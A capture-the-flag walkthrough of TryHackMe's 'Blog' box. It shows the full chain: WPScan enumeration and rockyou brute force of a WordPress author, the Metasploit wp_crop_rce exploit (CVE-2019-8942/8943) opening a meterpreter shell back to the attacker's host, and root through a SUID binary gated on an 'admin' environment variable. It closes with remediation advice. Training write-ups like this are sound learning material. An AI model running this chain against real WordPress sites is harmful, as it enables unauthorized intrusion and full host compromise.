Blog
WPScan brute-forces a weak author password, WordPress 5.0's Crop-image RCE (CVE-2019-8942/8943) gives a www-data shell, and a custom SUID binary that grants root merely when an 'admin' environment variable is set finishes the box.
A walkthrough of the “Blog” room from TryHackMe (Billy Joel’s IT Blog). Past some deliberate rabbit holes on an SMB share, WPScan brute-forces a weak author password, WordPress 5.0’s Crop-image RCE (CVE-2019-8942/8943) drops a www-data shell, and a custom SUID binary hands over root the moment an admin environment variable exists.
Blog is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. The box uses bare-value flags; flags and recovered passwords are shown as
<redacted>— real on the box, withheld here.
TL;DR
TL;DR
WordPress 5.0 on blog.thm, plus a world-writable BillySMB share — whose images/QR/steghide are rabbit holes → wpscan --enumerate u finds users kwheel/bjoel, and a password attack cracks kwheel (weak password) → WordPress 5.0 is vulnerable to the Crop-image RCE (CVE-2019-8942/8943); Metasploit wp_crop_rce with kwheel’s creds gives a shell as www-data → a SUID /usr/sbin/checker calls getenv("admin") and spawns a root shell if that variable is set → export admin=x; /usr/sbin/checker → root (the real user flag is under /media/usb/, not the decoy user.txt).
The target
export IP=<target-ip> # blog.thm
export ATTACKER_IP=<your-ip>
nmap shows SSH, Apache/WordPress 5.0, and Samba:
22/tcp open ssh OpenSSH 7.6p1 Ubuntu
80/tcp open http Apache 2.4.29 # WordPress 5.0 — "Billy Joel's IT Blog"
139/445 open smb Samba 4.7.6
The NULL-session BillySMB share holds images with a QR code and steghide data — all rabbit holes (the QR points at a YouTube video; the extracted rabbit_hole.txt literally says so). The real path is WordPress.
The vulnerability
The entry point is WordPress 5.0’s Crop-image remote code execution (CVE-2019-8942/8943): an authenticated author can abuse post meta and the image-crop feature to write a PHP payload into the theme directory. Getting there just needs a valid author login, which a weak password hands over.
Insight
The privesc is the memorable part: /usr/sbin/checker is SUID root and its entire logic is if (getenv("admin")) spawn a shell;. There’s no password, no file — just the presence of an admin environment variable. ltrace reveals it instantly, and export admin=anything before running it yields root. Trusting an attacker-controlled environment variable to gate privilege is a complete auth bypass.
Step 1 — brute a WordPress author, Crop-image RCE → www-data
wpscan --url http://blog.thm --enumerate u # kwheel, bjoel
wpscan --url http://blog.thm --usernames kwheel,bjoel --passwords rockyou.txt
# [SUCCESS] kwheel / <redacted>
msf > use exploit/multi/http/wp_crop_rce
msf > set RHOSTS blog.thm; set USERNAME kwheel; set PASSWORD <redacted>; set LHOST $ATTACKER_IP
msf > run # -> meterpreter as www-data
wp-config.php leaks a DB password (wordpressuser / <redacted>), and bjoel’s home has a decoy user.txt (“TRY HARDER”) — neither is needed.
Step 2 — SUID checker env bypass → root
A SUID sweep finds a non-standard binary; ltrace shows its trivial check:
www-data@blog:/$ find / -perm -4000 2>/dev/null | grep checker # /usr/sbin/checker
www-data@blog:/$ ltrace /usr/sbin/checker
# getenv("admin") = nil ; puts("Not an Admin")
www-data@blog:/$ export admin=hello
www-data@blog:/$ /usr/sbin/checker
root@blog:/# cat /root/root.txt # <redacted>
root@blog:/# cat /media/usb/user.txt # <redacted> (the real user flag)
Impact
Critical
Critical — CVSS 3.1 ~8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). A weak WordPress author password plus the Crop-image RCE (CVE-2019-8942/8943) gives authenticated remote code execution as www-data. A custom SUID binary that grants a root shell based solely on an attacker-settable environment variable then escalates to full root — complete host compromise.
Recommended fix
Fix
- Patch WordPress (5.0.x Crop-image RCE is fixed in 5.0.3+) and enforce strong author passwords; disable
xmlrpc.phpif unused to slow brute force. - Remove the SUID
checkerbinary — never gate root on an environment variable, and generally avoid custom SUID helpers. SUID programs must sanitise their environment. - Lock down the SMB share — an anonymous read/write share is unnecessary exposure even if the files are decoys.
Takeaways
- Not every trail is the path. The SMB images, QR and steghide were rabbit holes — recognise and move on.
- Weak WP creds + an RCE CVE = shell. WPScan plus
wp_crop_rceis a reliable WordPress 5.0 chain. ltracereveals trivial SUID logic. A binary gated ongetenv("admin")is a one-line root.- Check
/mediaand mounts for the real flag. The obvioususer.txtwas a decoy.
Blog is a classic WordPress-to-root box wrapped in a few troll rabbit holes. Thanks for reading.